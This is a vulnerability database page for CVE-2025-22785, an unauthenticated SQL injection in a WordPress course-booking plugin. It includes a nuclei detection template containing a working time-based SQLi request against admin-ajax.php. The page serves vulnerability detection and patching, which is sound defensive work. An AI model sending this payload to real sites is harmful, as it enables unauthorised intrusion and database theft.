HexBrain

Browse / CVEs / CVE-2025-22785

CVE-2025-22785

Course Booking System <= 6.0.6 - SQL Injection

criticalseverity
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

The Course Booking System plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 6.0.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

How to confirm it

Send: @timeout: 30s
Positive when: duration >= 8 and len(body) == 0 and status_code == 200 and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2025-22785 -u <target>

The full check
id: CVE-2025-22785

info:
  name: Course Booking System <= 6.0.6 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The Course Booking System plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 6.0.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22785
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/course-booking-system/course-booking-system-605-unauthenticated-sql-injection
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,wordpress,wp,wp-plugin,sqli,course-booking-system

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=cbs_action_booking_delete&booking_id=1&course_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(8)))sqltest)

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'len(body) == 0'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from